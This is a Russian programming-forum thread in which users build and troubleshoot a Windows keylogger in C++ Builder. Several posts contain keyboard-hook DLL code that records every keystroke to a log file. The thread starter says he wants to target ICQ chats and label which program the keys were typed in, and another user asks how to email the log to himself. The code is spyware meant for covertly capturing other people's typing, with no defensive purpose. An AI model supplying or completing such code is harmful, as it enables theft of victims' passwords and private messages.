Форум программистов, компьютерный форум, киберфорум
C++ Builder
Войти
Регистрация
Восстановить пароль
Блоги Сообщество Поиск  
 
 
Рейтинг 4.52/65: Рейтинг темы: голосов - 65, средняя оценка - 4.52
 Аватар для assu
22 / 22 / 2
Регистрация: 29.08.2008
Сообщений: 138

Клавиатурный шпион

05.09.2008, 10:59. Показов 13766. Ответов 28
Метки нет (Все метки)

Студворк — интернет-сервис помощи студентам
Добрый день, help me please
нашел исходник кейлоггера в инете, изучаю его досканально, не могу понять почему в лог заносятся корректно только английские символы, а русские какими то карякулями и почему то английский символы по два раза отображаются....
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//-----------------------------------------------------------------------------
extern "C"_declspec(dllexport)LRESULT CALLBACK
KeyboardProc(int code,WPARAM wParam, LPARAM lParam);
//-----------------------------------------------------------------------------
 
//-----------------------------------------------------------------------------
LRESULT CALLBACK KeyboardProc(int code,WPARAM wParam,LPARAM lParam)
   {
     FILE *f; //óêàçàòåëü íà ôàéë
     if((f=fopen("C:\\logfile.log","a"))!=NULL)
        {
         fputc(MapVirtualKey(wParam,2),f);
         fclose(f);
        }
     return CallNextHookEx(NULL,code,wParam,lParam);
   }
Добавлено через 4 часа 20 минут 15 секунд
все ребята я нашел как сделать.....
0
cpp_developer
Эксперт
20123 / 5690 / 1417
Регистрация: 09.04.2010
Сообщений: 22,546
Блог
05.09.2008, 10:59
Ответы с готовыми решениями:

Клавиатурный шпион
Мпного тем читал по этому поводу, но тем не менее найти подобную программу которая записывает все нажатые клавишы в файл мне удалось только...

встроенный вирус-шпион
Здраствуйте, скажите можно ли написать такой вирус который можно встроить в картинку, при сохранении картинки на комп вируса обойти...

Клавиатурный тренажер
Приложение предназначено для освоения клавиатуры персонального компьютера пользователем. В режиме настроек системы предусмотреть задание...

28
Почетный модератор
 Аватар для Lord_Voodoo
8785 / 2538 / 144
Регистрация: 07.03.2007
Сообщений: 11,873
09.09.2008, 10:01
Студворк — интернет-сервис помощи студентам
ну ты же функцию конверта используешь, понятное дело, что результат ее деятельности писать в лог надо
0
 Аватар для assu
22 / 22 / 2
Регистрация: 29.08.2008
Сообщений: 138
10.09.2008, 06:48  [ТС]
привет..
разобрался я короче с тем чтобы прога распознавала русские и латинские символы.надо только еще с системными клавишами помучаться...
у меня тут идейка проскользнула, хочу чтобы к примеру мой снифак обрабатывал только определенное окно (icq), не знаешь какий образом это делаеться в общем? я думаю скорей всего с помощью захвата окон... есть идеи?
0
Почетный модератор
 Аватар для Lord_Voodoo
8785 / 2538 / 144
Регистрация: 07.03.2007
Сообщений: 11,873
10.09.2008, 09:18
так ты для начала яви народу решение, интересно же, что там у тебя получилось...
0
 Аватар для assu
22 / 22 / 2
Регистрация: 29.08.2008
Сообщений: 138
10.09.2008, 09:39  [ТС]
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
 
FILE *f;
if(code == HC_ACTION &&!(HIWORD(lParam) & KF_UP))
{
BYTE keyarray[256] ;
if(GetKeyboardState(keyarray))
if(!ToAscii(wParam,(HIWORD(lParam)&(0x0000FFFF)), keyarray,(WORD*)&buffer[0],NULL))
buffer[0]=' ';
 
switch ((char)wParam){
case VK_ESCAPE:
strcpy(buffer,"<ESC>");
break;
case VK_RETURN:
strcpy(buffer,"<RETURN>rn");
break;
} 
if((f=fopen("c:\\logfile.log","a"))!=NULL)
{
 
fputc(buffer[0],f);
fclose(f);
}
}
return CallNextHookEx(NULL, code, wParam, lParam);
}
ну в общем вроде работает...только я две системные клавиши описал ESC и RETURN.Вот теперь стоит задача чтобы нажатие клавиши отдельно по блокам записывались.. если в ворде набирал, то должно выводиться что это ворд и в нем нажаты такие то клавиши...
0
 Аватар для assu
22 / 22 / 2
Регистрация: 29.08.2008
Сообщений: 138
11.09.2008, 10:18  [ТС]
Подскажите пожалуйста как мне заставить свой шпиончик чтобы он когда в лог записывал нажатые клавиши, писал что например это ворд или блокнот или клавиши были нажаты в explorer.8)
0
2 / 2 / 0
Регистрация: 16.03.2010
Сообщений: 17
16.03.2010, 23:07
очень интересная тема, спасибо за исходники... но, вот меня в данный момент больше интересует как же отправить лог файл, к примеру, себе на мыло?
0
0 / 0 / 0
Регистрация: 13.07.2014
Сообщений: 54
08.02.2015, 22:34
при компиляции твоего процесса пишет:

[Linker Error] Unresolved external '_Form1' referenced from D:\ФИЛЬМЫ\C++\НОВАЯ ПАПКА\ВЗЛОМ\SHPION2\PROJECT1.OBJ
[Linker Error] Unresolved external 'TForm1::' referenced from D:\ФИЛЬМЫ\C++\НОВАЯ ПАПКА\ВЗЛОМ\SHPION2\PROJECT1.OBJ

Добавлено через 32 секунды
че делать?
0
0 / 0 / 0
Регистрация: 13.07.2014
Сообщений: 54
09.02.2015, 13:07
что сделать чтоб запустить? форму добавляю норм компилирует. только в лог не сохраняет
0
0 / 0 / 0
Регистрация: 28.10.2014
Сообщений: 19
26.04.2015, 22:36
Товарищи! Что-то не работает эта чудесная программа.
Во-первых не хочет создавать лог файл. Когда нажимаешь на кнопку на клавиатуре выскакивает отладочное сообщение "Хрень!!!".
Во-вторых на работе зависает компьютер, когда пытаешься, что-то набрать в поисковой строке браузера, а дома в браузере нормально, а в ворде - виснет. Что за хурма? Взгляните кто может опытным взглядом.
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#include <vcl.h>
#include <winuser.h>
#include <stdio.h>
#pragma hdrstop
char buffer[256];
// Объявляем функцию для того, чтобы основная прога могла её поюзать из DLL
extern "C" __declspec(dllexport) LRESULT CALLBACK
KeyboardProc(int code, WPARAM wParam, LPARAM lParam);
 
// "Шпионская" функция
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
    FILE *f; // Указатель на файл
 
    if(code == HC_ACTION &&!(HIWORD(lParam) & KF_UP))
    {
        BYTE keyarray[256] ;
        if(GetKeyboardState(keyarray))
            if(!ToAscii(wParam,(HIWORD(lParam)&(0x0000FFFF)), keyarray,(WORD*)&buffer[0],NULL))
                buffer[0]=' ';
 
        switch ((char)wParam)
        {
            case VK_ESCAPE:
                strcpy(buffer,"<ESC>");
                break;
            case VK_RETURN:
                strcpy(buffer,"<RETURN>rn");
                break;
        }
    // Открываем файл с логом на добавление, если его нет – создаём
 
        if((f=fopen("1.log","a"))!=NULL)
        {
            fputc(buffer[0],f);
            fclose(f);
        }
        else
            ShowMessage("Хрень!!!");
    }
 
    /* Перед выходом из функции – вызываем
    нормальный обработчик
    сообщений от клавы (что толку от шпиона,
    если остальные
    проги перестанут на клаву реагировать ? :)
    */
    return CallNextHookEx(NULL, code, wParam, lParam);
}
 //————————–
// Функция входа в DLL – её не оставляем как есть
int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void*)
{
    return 1;
}
0
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
raxper
Эксперт
30234 / 6612 / 1498
Регистрация: 28.12.2010
Сообщений: 21,154
Блог
26.04.2015, 22:36

Клавиатурный тренажёр
Люди помогите написать клавиатурный тренажер на C++ Builder 6. Если есть дайте исходник или ссылку на него

Клавиатурный тренажёр
Здраствуйте! Передо мной сейчас стоит задача написать клавиатурный тренажёр. Но во вроем написания я столкнулась с проблемой как программа...

Richedit, Клавиатурный тренажер
как в Richedit сделать контроль текста, например есть слово Richedit , и после нажатия кнопки курсор становился на начало текста, после...

Клавиатурный тренажер(С++ Builder)
Доброго времени суток! Мне на курсовую (на С++ Builder) надо написать прогу Клавиатурный тренажер, но я даже представления не имею...

Клавиатурный тренажер(Борланд с++)
В программе текст находится в memo, а пользователь работает с edit. По моему алгоритму берется сначала первая буква из edit(i=1) и...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
29
Ответ Создать тему
Новые блоги и статьи
Nekobox - outbounds[0].transport: unknown transport type: raw
damix 01.10.2026
Фикс ошибки Правым кликом по серверу -> отладочная информация -> edit Заменить "net": "raw", на "net": "tcp", Нажать кнопку reload.
Программный домашний кинотеатр
russiannick 27.09.2026
Сподобился на программный домашний кинотеатр. В качестве ЯВУ по традиции выбрал js. В помощники взял Яндекс-Алису. Было создано три зала на разные интересы. исторические и ретро сериал Хичкок. . .
Беседа с ИИ о программистах, недопускающих к созданию и правке кода генеративные ИИ и причины этого
zorxor 21.09.2026
Раньше я радовался или получал некоторые эмоции, пусть небольшие, но всё же, от самого процесса написания кода, рекомпиляции и запуска, видя постепенное развитие программы и прочее. А теперь лень. . .
Мобильное приложение ColorStep
pavlinmavlin 17.09.2026
Реализовал приложение Красный, Зеленый, Синий в Unity3d + c#. Название изменил на ColorStep. Приложение прошло модерацию и теперь доступно для скачивания. Делал его сам, шаг за шагом — и вот,. . .
Запрет дублирования строк в табличной части
Maks 13.09.2026
Реализация из решения ниже выполнена на нетиповом справочнике "Нормы ТО" с табличной часть "Виды ТО", разработанного в КА2, со следующими реквизитами: - ВидТО (СправочникСсылка. ВидыТО); - ВидГСМ. . .
Скрипты Tampermonkey для CyberForum, ChatGPT, Claude и пр.
Jin X 06.09.2026
Скрипты Tampermonkey для CyberForum, ChatGPT, Claude и пр. Работая с форумом и нейросетями в браузере часто хочется что-то подкорректировать или добавить какого-то функционала. Ниже прикреплён. . .
Программа опроса у.з. расходомера SLS-720F
Argus19 02.09.2026
Программа опроса у. з. расходомера SLS-720F Программа опрашивает один раз в минуту три ультразвуковых расходомера SLS-720F через интерфейс RS-485 по протоколу Modbus RTU. Опрашиваются регистры. . .
Hyper-V: Компьютер должен поддерживать доверенный платформенный модуль 2.0.
Maks 31.08.2026
При установке Windows 11 на виртуальную машину Hyper-V 2-го поколения вылезла такая ошибка: Решение: в параметрах виртуальной машины, в разделе "Безопасность" (Security) активировать флаг. . .
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2026, CyberForum.ru